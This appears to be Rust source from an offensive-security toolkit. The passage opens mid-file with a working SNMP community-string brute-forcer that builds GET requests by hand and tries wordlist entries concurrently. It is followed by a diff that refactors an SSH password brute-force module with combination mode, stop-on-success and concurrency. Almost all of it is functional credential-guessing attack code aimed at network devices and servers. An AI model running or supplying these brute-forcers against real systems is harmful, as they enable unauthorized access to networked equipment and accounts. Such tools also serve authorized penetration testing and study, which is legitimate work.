Some(prompt_default("Output file", "snmp_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Timeout (seconds)", "3")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No valid community strings found.");
|
||||
} else {
|
||||
println!("\n[+] Valid community strings:");
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, community) in creds.iter() {
|
||||
writeln!(file, "{} -> community: '{}'", host, community)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
|
||||
// Parse the address
|
||||
let addr: SocketAddr = addr_owned
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
|
||||
// Build SNMP GET request manually
|
||||
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
|
||||
let message = build_snmp_get_request(&community_owned, version);
|
||||
|
||||
// Send request
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Receive response
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
// 2. Contain version, community, and PDU
|
||||
// 3. Have error status = 0 (noError) in the response PDU
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Malformed response - likely invalid
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
} else {
|
||||
// Other errors might be transient, but log them
|
||||
// For now, treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
};
|
||||
Ok(result)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| anyhow!("Task join error: {}", e))?;
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
|
||||
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if response.len() < 20 || response[0] != 0x30 {
|
||||
return Err(anyhow!("Invalid SNMP response header"));
|
||||
}
|
||||
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid request-id field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
} else {
|
||||
// Multi-byte integer (shouldn't happen for error status, but handle it)
|
||||
let mut val = 0u32;
|
||||
for i in 0..es_len {
|
||||
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
|
||||
/// Parses BER length field
|
||||
/// Returns (length_value, number_of_bytes_consumed)
|
||||
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
} else {
|
||||
// Long form: first byte indicates number of length bytes
|
||||
let num_bytes = (first_byte & 0x7F) as usize;
|
||||
if num_bytes == 0 {
|
||||
return Err(anyhow!("Indefinite length not supported"));
|
||||
}
|
||||
if num_bytes > 4 {
|
||||
return Err(anyhow!("Length field too large"));
|
||||
}
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a simple SNMP GET request packet manually
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
pdu_content.extend_from_slice(&error_status_tlv);
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
result.push(length as u8);
|
||||
} else {
|
||||
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
|
||||
// Calculate how many bytes we need for the length
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
|
||||
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
|
||||
fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
let mut val = value;
|
||||
// Encode as big-endian, using minimum number of bytes
|
||||
// For values that would have high bit set, we need an extra zero byte
|
||||
// to ensure it's interpreted as positive
|
||||
while val > 0 {
|
||||
bytes.push((val & 0xFF) as u8);
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
}
|
||||
}
|
||||
build_tlv(0x02, &bytes) // 0x02 = INTEGER
|
||||
}
|
||||
|
||||
/// Encodes OID value (without the TLV wrapper)
|
||||
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
let mut encoded = Vec::new();
|
||||
if oid.len() >= 2 {
|
||||
// First two sub-identifiers are encoded as: first * 40 + second
|
||||
encoded.push((oid[0] * 40 + oid[1]) as u8);
|
||||
for &sub_id in &oid[2..] {
|
||||
encode_sub_id(sub_id, &mut encoded);
|
||||
}
|
||||
}
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
while value > 0 {
|
||||
bytes.push((value & 0x7F) as u8);
|
||||
value >>= 7;
|
||||
}
|
||||
bytes.reverse();
|
||||
// Set high bit on all but last byte
|
||||
for i in 0..bytes.len() - 1 {
|
||||
bytes[i] |= 0x80;
|
||||
}
|
||||
}
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
// Validate that the address can be resolved
|
||||
formatted
|
||||
.parse::<std::net::SocketAddr>()
|
||||
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
@@ -25,8 +25,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
@@ -46,83 +46,103 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let initial_addr = format!("{}:{}", target, port);
|
||||
let connect_addr = format_host_port(&initial_addr)?;
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let users = Arc::new(load_lines(&usernames_file)?);
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0;
|
||||
let users = Arc::new(users);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass_str in pass_lines {
|
||||
if *stop.lock().await {
|
||||
for pass in passwords {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
|
||||
Box::new(users.iter().cloned())
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
users.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
Box::new(std::iter::empty())
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
Box::new(std::iter::once(user))
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
for user_str in users_for_current_pass {
|
||||
if *stop.lock().await {
|
||||
if selected_users.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = Arc::clone(&semaphore).acquire_owned().await?;
|
||||
|
||||
let task_addr = connect_addr.clone();
|
||||
let task_user = user_str;
|
||||
let task_pass = pass_str.clone();
|
||||
let addr_clone = connect_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if *stop_clone.lock().await {
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
|
||||
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
tasks.push(task);
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
@@ -171,42 +191,52 @@ async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
fn format_host_port(input: &str) -> Result<String> {
|
||||
if input.starts_with('[') {
|
||||
if let Some(end_bracket_idx) = input.find("]:") {
|
||||
let host_part = &input[1..end_bracket_idx];
|
||||
if !host_part.contains('[') && !host_part.contains(']') {
|
||||
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
|
||||
return Ok(input.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let (host_candidate, port_str) = match input.rfind(':') {
|
||||
Some(idx) if idx > 0 => { // Ensure colon is not the first character
|
||||
let (h, p) = input.split_at(idx);
|
||||
(h, &p[1..]) // Strip colon from port part
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
|
||||
};
|
||||
|
||||
if port_str.parse::<u16>().is_err() {
|
||||
return Err(anyhow!("Invalid port in address: '{}'", input));
|
||||
}
|
||||
|
||||
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
|
||||
|
||||
if stripped_host.contains(':') {
|
||||
Ok(format!("[{}]:{}", stripped_host, port_str))
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
Ok(format!("{}:{}", stripped_host, port_str))
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg)?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
